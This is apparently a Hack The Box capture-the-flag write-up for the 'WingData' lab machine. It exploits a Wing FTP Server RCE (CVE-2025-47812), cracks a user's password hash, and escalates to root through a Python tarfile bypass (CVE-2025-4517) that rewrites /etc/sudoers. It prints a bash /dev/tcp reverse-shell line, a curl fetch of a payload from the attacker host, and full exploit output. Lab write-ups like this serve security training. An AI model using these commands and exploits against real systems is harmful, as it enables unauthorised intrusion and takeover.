Introduction

WingData is an easy difficulty Linux machine running a Wing FTP Server instance exposed through an Apache reverse proxy. A null-byte injection vulnerability in the login mechanism (CVE-2025-47812) allows unauthenticated remote code execution via Lua code injection into session files, providing an initial foothold as the wingftp service user.

Credentials for a second user are recovered from readable Wing FTP configuration files, where passwords are stored as salted SHA-256 hashes. Lateral movement is achieved after cracking the hash and authenticating via SSH.

The target user has a sudo rule permitting execution of a Python-based backup restore script, which uses tarfile.extractall() with the data filter. A symlink and hardlink chaining technique (CVE-2025-4517) bypasses the filter and allows writing arbitrary content outside the extraction directory, enabling a write to /etc/sudoers and full root access.

Reconnaissance

Starting with a nmap scan:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.27.152 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
 3
 4┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 5└─$ nmap -p$ports -sV -sC 10.129.27.152
 6Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-01 23:11 +0200
 7Nmap scan report for wingdata.htb (10.129.27.152)
 8Host is up (0.13s latency).
 9
10PORT   STATE SERVICE VERSION
1122/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
12| ssh-hostkey: 
13|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
14|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
1580/tcp open  http    Apache httpd 2.4.66
16|_http-server-header: Apache/2.4.66 (Debian)
17|_http-title: WingData Solutions
18Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds
22
23┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
24└─$ 

Add the IP with wingdata.htb in our hosts file.

Enumeration

Use Gobuster to enumerate the webservice:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ gobuster dir -u http://wingdata.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt                
 3===============================================================
 4Gobuster v3.8.2
 5by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 6===============================================================
 7[+] Url:                     http://wingdata.htb/
 8[+] Method:                  GET
 9[+] Threads:                 10
10[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
11[+] Negative Status codes:   404
12[+] User Agent:              gobuster/3.8.2
13[+] Timeout:                 10s
14===============================================================
15Starting gobuster in directory enumeration mode
16===============================================================
17.htaccess            (Status: 403) [Size: 317]
18.htpasswd            (Status: 403) [Size: 317]
19assets               (Status: 301) [Size: 353] [--> http://wingdata.htb/assets/]
20server-status        (Status: 403) [Size: 317]
21vendor               (Status: 301) [Size: 353] [--> http://wingdata.htb/vendor/]
22Progress: 20481 / 20481 (100.00%)
23===============================================================
24Finished
25===============================================================
26
27┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
28└─$ 

Use Ffuf to enumerate for subdomains:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
 3  -u http://wingdata.htb/ \
 4  -H "Host: FUZZ.wingdata.htb" \
 5  -k -fw 21
 6
 7        /'___\  /'___\           /'___\       
 8       /\ \__/ /\ \__/  __  __  /\ \__/       
 9       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
10        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
11         \ \_\   \ \_\  \ \____/  \ \_\       
12          \/_/    \/_/   \/___/    \/_/       
13
14       v2.1.0-dev
15________________________________________________
16
17 :: Method           : GET
18 :: URL              : http://wingdata.htb/
19 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
20 :: Header           : Host: FUZZ.wingdata.htb
21 :: Follow redirects : false
22 :: Calibration      : false
23 :: Timeout          : 10
24 :: Threads          : 40
25 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
26 :: Filter           : Response words: 21
27________________________________________________
28
29ftp                     [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 169ms]
30:: Progress: [4989/4989] :: Job [1/1] :: 351 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
31┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
32└─$ 

Add ftp.wingdata.htb to our hosts file.


Browse http://wingdata.htb/: WingData_Webapp1

If we click on Client Portal up in the navigation bar we are redirected to ftp.wingdata.htb.

WingData_FTPWebapp1

Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812

Exploitation

Lets get a foothold by exploiting Wing FTP Server v7.4.3 with CVE-2025-47812.


First start a netcat listener:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
2└─$ nc -lvnp 4444
3listening on [any] 4444 ...

Create a small shell scripts that can give us a reverse shell:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
2└─$ echo 'bash -i >& /dev/tcp/10.10.14.225/4444 0>&1' > shell.sh
3
4┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
5└─$ chmod +x shell.sh 

Make a HTTP server to deliver the shell script:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
2└─$ python3 -m http.server 8080                    
3Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Use the CVE-2025-47812 exploit to download the shell script:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "curl http://10.10.14.225:8080/shell.sh -o shell.sh" -v
 3
 4[*] Testing target: http://ftp.wingdata.htb
 5[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'curl http://10.10.14.225:8080/shell.sh -o shell.sh' and username: 'anonymous'
 6[+] UID extracted: 5d2aa52dea6032c80b633b85363cf5faf528764d624db129b32c21fbca0cb8d6
 7[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 5d2aa52dea6032c80b633b85363cf5faf528764d624db129b32c21fbca0cb8d6
 8
 9--- Command Output ---
10
11----------------------
12
13┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
14└─$

Our HTTP server log says it was downloaded:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
2└─$ python3 -m http.server 8080                    
3Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
410.129.27.152 - - [02/May/2026 00:20:14] "GET /shell.sh HTTP/1.1" 200 -

Use the CVE-2025-47812 exploit to execute our script:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "bash ./shell.sh" -v
 3
 4[*] Testing target: http://ftp.wingdata.htb
 5[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'bash ./shell.sh' and username: 'anonymous'
 6[+] UID extracted: 3b10c09fed87c05af635c073ade565ebf528764d624db129b32c21fbca0cb8d6
 7[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 3b10c09fed87c05af635c073ade565ebf528764d624db129b32c21fbca0cb8d6
 8[-] Error sending GET request to http://ftp.wingdata.htb/dir.html: HTTPConnectionPool(host='ftp.wingdata.htb', port=80): Read timed out. (read timeout=10)
 9
10┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
11└─$ 

Look if our listener got a shell:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
2└─$ nc -lvnp 4444
3listening on [any] 4444 ...
4connect to [10.10.14.225] from (UNKNOWN) [10.129.27.152] 59322
5bash: cannot set terminal process group (3564): Inappropriate ioctl for device
6bash: no job control in this shell
7wingftp@wingdata:/opt/wftpserver$

Post-Exploitation

Now that we have gained a foothold we need to enumerate the machine further.

Enumerating as wingftp:

Download Linpeas from our HTTP server:

 1wingftp@wingdata:/opt/wftpserver$ wget http://10.10.14.225:8080/linpeas.sh 
 2wget http://10.10.14.225:8080/linpeas.sh
 3--2026-05-01 18:31:33--  http://10.10.14.225:8080/linpeas.sh
 4Connecting to 10.10.14.225:8080... connected.
 5HTTP request sent, awaiting response... 200 OK
 6Length: 1033031 (1009K) [application/x-sh]
 7Saving to: ‘linpeas.sh’
 8
 9     0K .......... .......... .......... .......... ..........  4%  242K 4s
10    50K .......... .......... .......... .......... ..........  9%  483K 3s
11   100K .......... .......... .......... .......... .......... 14% 20.3M 2s
12   150K .......... .......... .......... .......... .......... 19%  495K 2s
13   200K .......... .......... .......... .......... .......... 24% 22.7M 1s
14   250K .......... .......... .......... .......... .......... 29% 22.7M 1s
15   300K .......... .......... .......... .......... .......... 34% 23.2M 1s
16   350K .......... .......... .......... .......... .......... 39% 37.2M 1s
17   400K .......... .......... .......... .......... .......... 44%  497K 1s
18   450K .......... .......... .......... .......... .......... 49% 15.6M 1s
19   500K .......... .......... .......... .......... .......... 54% 20.2M 0s
20   550K .......... .......... .......... .......... .......... 59% 20.7M 0s
21   600K .......... .......... .......... .......... .......... 64% 26.7M 0s
22   650K .......... .......... .......... .......... .......... 69% 30.6M 0s
23   700K .......... .......... .......... .......... .......... 74% 22.6M 0s
24   750K .......... .......... .......... .......... .......... 79% 32.2M 0s
25   800K .......... .......... .......... .......... .......... 84%  590K 0s
26   850K .......... .......... .......... .......... .......... 89% 14.6M 0s
27   900K .......... .......... .......... .......... .......... 94% 29.1M 0s
28   950K .......... .......... .......... .......... .......... 99% 27.7M 0s
29  1000K ........                                              100% 19.1M=0.6s
30
312026-05-01 18:31:34 (1.57 MB/s) - ‘linpeas.sh’ saved [1033031/1033031]
32
33wingftp@wingdata:/opt/wftpserver$ 

Run Linpeas:

 1wingftp@wingdata:/opt/wftpserver$ ./linpeas.sh
 2./linpeas.sh
 3
 4[...]
 5
 6╔══════════╣ Users with console (T1087.001)
 7root:x:0:0:root:/root:/bin/bash
 8wacky:x:1001:1001::/home/wacky:/bin/bash
 9wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
10
11[...]
12
13╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200) (T1574.009,T1574.010)
14╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
15/etc/vmware-tools/locations.lck
16/opt/wftpserver
17/opt/wftpserver/Data
18/opt/wftpserver/Data/1
19/opt/wftpserver/Data/1/groups
20/opt/wftpserver/Data/1/portlistener.xml
21/opt/wftpserver/Data/1/settings.xml
22/opt/wftpserver/Data/1/users
23/opt/wftpserver/Data/1/users/anonymous.xml
24/opt/wftpserver/Data/1/users/john.xml
25/opt/wftpserver/Data/1/users/maria.xml
26/opt/wftpserver/Data/1/users/steve.xml
27/opt/wftpserver/Data/1/users/wacky.xml
28/opt/wftpserver/Data/_ADMINISTRATOR
29/opt/wftpserver/Data/_ADMINISTRATOR/admins.xml
30/opt/wftpserver/Data/_ADMINISTRATOR/settings.xml
31/opt/wftpserver/Data/bookmark_db
32/opt/wftpserver/Data/settings.xml
33
34[...]

Analyzing the output from Linpeas we can see that we will need to escalate our privileges to wacky to get the user flag and from there, further escalate our privileges to root.

Privilege Escalate to Wacky:

The output also reveal some interesting files especially wacky.xml:

 1<?xml version="1.0" ?>
 2<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
 3    <USER>
 4        <UserName>wacky</UserName>
 5        <EnableAccount>1</EnableAccount>
 6        <EnablePassword>1</EnablePassword>
 7        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
 8        <ProtocolType>63</ProtocolType>
 9        <EnableExpire>0</EnableExpire>
10        <ExpireTime>2025-12-02 12:02:46</ExpireTime>
11        <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
12        <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
13        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
14        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
15        <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
16        <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
17        <MaxConnection>0</MaxConnection>
18        <ConnectionPerIp>0</ConnectionPerIp>
19        <PasswordLength>0</PasswordLength>
20        <ShowHiddenFile>0</ShowHiddenFile>
21        <CanChangePassword>0</CanChangePassword>
22        <CanSendMessageToServer>0</CanSendMessageToServer>
23        <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
24        <SSHPublicKeyPath></SSHPublicKeyPath>
25        <SSHAuthMethod>0</SSHAuthMethod>
26        <EnableWeblink>1</EnableWeblink>
27        <EnableUplink>1</EnableUplink>
28        <EnableTwoFactor>0</EnableTwoFactor>
29        <TwoFactorCode></TwoFactorCode>
30        <ExtraInfo></ExtraInfo>
31        <CurrentCredit>0</CurrentCredit>
32        <RatioDownload>1</RatioDownload>
33        <RatioUpload>1</RatioUpload>
34        <RatioCountMethod>0</RatioCountMethod>
35        <EnableRatio>0</EnableRatio>
36        <MaxQuota>0</MaxQuota>
37        <CurrentQuota>0</CurrentQuota>
38        <EnableQuota>0</EnableQuota>
39        <NotesName></NotesName>
40        <NotesAddress></NotesAddress>
41        <NotesZipCode></NotesZipCode>
42        <NotesPhone></NotesPhone>
43        <NotesFax></NotesFax>
44        <NotesEmail></NotesEmail>
45        <NotesMemo></NotesMemo>
46        <EnableUploadLimit>0</EnableUploadLimit>
47        <CurLimitUploadSize>0</CurLimitUploadSize>
48        <MaxLimitUploadSize>0</MaxLimitUploadSize>
49        <EnableDownloadLimit>0</EnableDownloadLimit>
50        <CurLimitDownloadLimit>0</CurLimitDownloadLimit>
51        <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
52        <LimitResetType>0</LimitResetType>
53        <LimitResetTime>1762103089</LimitResetTime>
54        <TotalReceivedBytes>0</TotalReceivedBytes>
55        <TotalSentBytes>0</TotalSentBytes>
56        <LoginCount>2</LoginCount>
57        <FileDownload>0</FileDownload>
58        <FileUpload>0</FileUpload>
59        <FailedDownload>0</FailedDownload>
60        <FailedUpload>0</FailedUpload>
61        <LastLoginIp>127.0.0.1</LastLoginIp>
62        <LastLoginTime>2025-11-02 12:28:52</LastLoginTime>
63        <EnableSchedule>0</EnableSchedule>
64    </USER>
65</USER_ACCOUNTS>

Its looks like the password is hashed with SHA-256.


Lets try to check which hash format it is before trying to brute-force it:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ hash-identifier 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
 3   #########################################################################
 4   #     __  __                     __           ______    _____           #
 5   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
 6   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
 7   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
 8   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
 9   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
10   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
11   #                                                             By Zion3R #
12   #                                                    www.Blackploit.com #
13   #                                                   Root@Blackploit.com #
14   #########################################################################
15--------------------------------------------------
16
17Possible Hashs:
18[+] SHA-256
19[+] Haval-256
20
21Least Possible Hashs:
22[+] GOST R 34.11-94
23[+] RipeMD-256
24[+] SNEFRU-256
25[+] SHA-256(HMAC)
26[+] Haval-256(HMAC)
27[+] RipeMD-256(HMAC)
28[+] SNEFRU-256(HMAC)
29[+] SHA-256(md5($pass))
30[+] SHA-256(sha1($pass))
31--------------------------------------------------
32 HASH: ^C
33
34	Bye!
35	
36┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
37└─$ 

Okay so lets use the SHA-256 format for decrypting the password.


Add the hashed password with the identifier WingFTP to a file:

1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
2└─$ echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > wacky.hash
3
4┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
5└─$ 

Use hashcat to brute-force the password:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ hashcat -m 1410 wacky.hash /usr/share/wordlists/rockyou.txt
 3hashcat (v7.1.2) starting
 4
 5OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
 6====================================================================================================================================================
 7* Device #01: cpu-skylake-avx512-AMD Ryzen 5 7500F 6-Core Processor, 6955/13911 MB (2048 MB allocatable), 8MCU
 8
 9Minimum password length supported by kernel: 0
10Maximum password length supported by kernel: 256
11Minimum salt length supported by kernel: 0
12Maximum salt length supported by kernel: 256
13
14Hashes: 1 digests; 1 unique digests, 1 unique salts
15Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
16Rules: 1
17
18Optimizers applied:
19* Zero-Byte
20* Early-Skip
21* Not-Iterated
22* Single-Hash
23* Single-Salt
24* Raw-Hash
25
26ATTENTION! Pure (unoptimized) backend kernels selected.
27Pure kernels can crack longer passwords, but drastically reduce performance.
28If you want to switch to optimized kernels, append -O to your commandline.
29See the above message to find out about the exact limits.
30
31Watchdog: Temperature abort trigger set to 90c
32
33Host memory allocated for this attack: 514 MB (6082 MB free)
34
35Dictionary cache hit:
36* Filename..: /usr/share/wordlists/rockyou.txt
37* Passwords.: 14344385
38* Bytes.....: 139921507
39* Keyspace..: 14344385
40
4132940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
42                                                          
43Session..........: hashcat
44Status...........: Cracked
45Hash.Mode........: 1410 (sha256($pass.$salt))
46Hash.Target......: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b87...ingFTP
47Time.Started.....: Sun May  3 18:43:13 2026 (3 secs)
48Time.Estimated...: Sun May  3 18:43:16 2026 (0 secs)
49Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
50Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
51Guess.Queue......: 1/1 (100.00%)
52Speed.#01........:  5353.0 kH/s (0.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
53Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
54Progress.........: 14344192/14344385 (100.00%)
55Rejected.........: 0/14344192 (0.00%)
56Restore.Point....: 14336000/14344385 (99.94%)
57Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
58Candidate.Engine.: Device Generator
59Candidates.#01...: #!hottie ->  ladykitz
60Hardware.Mon.#01.: Util: 15%
61
62Started: Sun May  3 18:43:04 2026
63Stopped: Sun May  3 18:43:16 2026
64┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
65└─$

Great now we have the password !#7Blushing^*Bride5 for the user wacky.


Now lets SSH to wingdata.htb and get the user flag:

 1──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ ssh wacky@wingdata.htb          
 3The authenticity of host 'wingdata.htb (10.129.28.74)' can't be established.
 4ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
 5This key is not known by any other names.
 6Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 7Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
 8
 9wacky@wingdata.htb's password: 
10Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
11
12The programs included with the Debian GNU/Linux system are free software;
13the exact distribution terms for each program are described in the
14individual files in /usr/share/doc/*/copyright.
15
16Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
17permitted by applicable law.
18Last login: Sun May 3 12:48:28 2026 from 10.10.14.225
19wacky@wingdata:~$ ls -l
20total 4
21-rw-r----- 1 root wacky 33 May  3 10:53 user.txt
22wacky@wingdata:~$ cat user.txt
236692dfa85a0157ec4f093f22b4f9ec6f
24wacky@wingdata:~$ 

Enumerating as wacky:

Download and run Linpeas as wacky:

 1wacky@wingdata:~$ ./linpeas.sh
 2
 3[...]
 4
 5╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d (T1548.003)
 6╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
 7Matching Defaults entries for wacky on wingdata:
 8    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 9
10User wacky may run the following commands on wingdata:
11    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
12Matching Defaults entries for wacky on wingdata:
13    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
14
15User wacky may run the following commands on wingdata:
16    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
17
18ICMP is not accessible
19
20[...]

Cat out the restore_backup_clients.py and analyze the code:

 1#!/usr/bin/env python3
 2import tarfile
 3import os
 4import sys
 5import re
 6import argparse
 7
 8BACKUP_BASE_DIR = "/opt/backup_clients/backups"
 9STAGING_BASE = "/opt/backup_clients/restored_backups"
10
11def validate_backup_name(filename):
12    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
13        return False
14    client_id = filename.split('_')[1].rstrip('.tar')
15    return client_id.isdigit() and client_id != "0"
16
17def validate_restore_tag(tag):
18    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
19
20def main():
21    parser = argparse.ArgumentParser(
22        description="Restore client configuration from a validated backup tarball.",
23        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
24    )
25    parser.add_argument(
26        "-b", "--backup",
27        required=True,
28        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
29             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
30    )
31    parser.add_argument(
32        "-r", "--restore-dir",
33        required=True,
34        help="Staging directory name for the restore operation. "
35             "Must follow the format: restore_<client_user> (e.g., restore_john). "
36             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
37    )
38
39    args = parser.parse_args()
40
41    if not validate_backup_name(args.backup):
42        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
43        sys.exit(1)
44
45    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
46    if not os.path.isfile(backup_path):
47        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
48        sys.exit(1)
49
50    if not args.restore_dir.startswith("restore_"):
51        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
52        sys.exit(1)
53
54    tag = args.restore_dir[8:]
55    if not tag:
56        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
57        sys.exit(1)
58
59    if not validate_restore_tag(tag):
60        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
61        sys.exit(1)
62
63    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
64    print(f"[+] Backup: {args.backup}")
65    print(f"[+] Staging directory: {staging_dir}")
66
67    os.makedirs(staging_dir, exist_ok=True)
68
69    try:
70        with tarfile.open(backup_path, "r") as tar:
71            tar.extractall(path=staging_dir, filter="data")
72        print(f"[+] Extraction completed in {staging_dir}")
73    except (tarfile.TarError, OSError, Exception) as e:
74        print(f"[!] Error during extraction: {e}", file=sys.stderr)
75        sys.exit(2)
76
77if __name__ == "__main__":
78    main()

The script uses TarFile and searching for python3 tarfile vulnerabilities we can find CVE-2025-4517.

Exploiting Python3 TarFile Vulnerability - CVE-2025-4517:

Download the exploit and deliver it to the target:

 1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
 2└─$ git clone https://github.com/AzureADTrent/CVE-2025-4517-POC                                  
 3Cloning into 'CVE-2025-4517-POC'...
 4remote: Enumerating objects: 32, done.
 5remote: Counting objects: 100% (32/32), done.
 6remote: Compressing objects: 100% (32/32), done.
 7remote: Total 32 (delta 14), reused 6 (delta 0), pack-reused 0 (from 0)
 8Receiving objects: 100% (32/32), 14.78 KiB | 756.00 KiB/s, done.
 9Resolving deltas: 100% (14/14), done. 
10┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/WingData]
11└─$
 1wacky@wingdata:~$ wget http://10.10.14.225:8080/CVE-2025-4517-POC/CVE-2025-4517-POC.py
 2--2026-05-03 14:02:22--  http://10.10.14.225:8080/CVE-2025-4517-POC/CVE-2025-4517-POC.py
 3Connecting to 10.10.14.225:8080... connected.
 4HTTP request sent, awaiting response... 200 OK
 5Length: 6973 (6.8K) [text/x-python]
 6Saving to: ‘CVE-2025-4517-POC.py’
 7
 8CVE-2025-4517-POC.py                                        100%[=========================================================================================================================================>]   6.81K  --.-KB/s    in 0s      
 9
102026-05-03 14:02:22 (299 MB/s) - ‘CVE-2025-4517-POC.py’ saved [6973/6973]
11
12wacky@wingdata:~$

Run the exploit:

 1wacky@wingdata:~$ chmod +x CVE-2025-4517-POC.py 
 2wacky@wingdata:~$ python3 CVE-2025-4517-POC.py 
 3
 4╔═══════════════════════════════════════════════════════════╗
 5║     CVE-2025-4517 Tarfile Exploit                         ║
 6║     Privilege Escalation via Symlink + Hardlink Bypass    ║
 7╚═══════════════════════════════════════════════════════════╝
 8    
 9[*] Target user: wacky
10[*] Creating exploit tar for user: wacky
11[*] Phase 1: Building nested directory structure...
12[*] Phase 2: Creating symlink chain for path traversal...
13[*] Phase 3: Creating escape symlink to /etc...
14[*] Phase 4: Creating hardlink to /etc/sudoers...
15[*] Phase 5: Writing sudoers entry...
16[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
17[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
18[+] Exploit deployed successfully
19[*] Triggering extraction via vulnerable script...
20[+] Backup: backup_9999.tar
21[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
22[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
23
24[+] Extraction completed
25[*] Verifying exploit success...
26[+] SUCCESS! User 'wacky' added to sudoers
27[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL
28
29============================================================
30[+] EXPLOITATION SUCCESSFUL!
31[+] User 'wacky' now has full sudo privileges
32[+] Get root with: sudo /bin/bash
33============================================================
34
35[?] Spawn root shell now? (y/n): y
36
37[*] Spawning root shell...
38[*] Run: sudo /bin/bash
39root@wingdata:/home/wacky# id
40uid=0(root) gid=0(root) groups=0(root)
41root@wingdata:

Get the root flag:

1root@wingdata:/home/wacky# ls -l /root/
2total 4
3-rw-r----- 1 root root 33 May  3 10:53 root.txt
4root@wingdata:/home/wacky# cat /root/root.txt
5550d0a06cd5953af9e5ee1edac039564
6root@wingdata:/home/wacky# 

Completion

WingData_Completion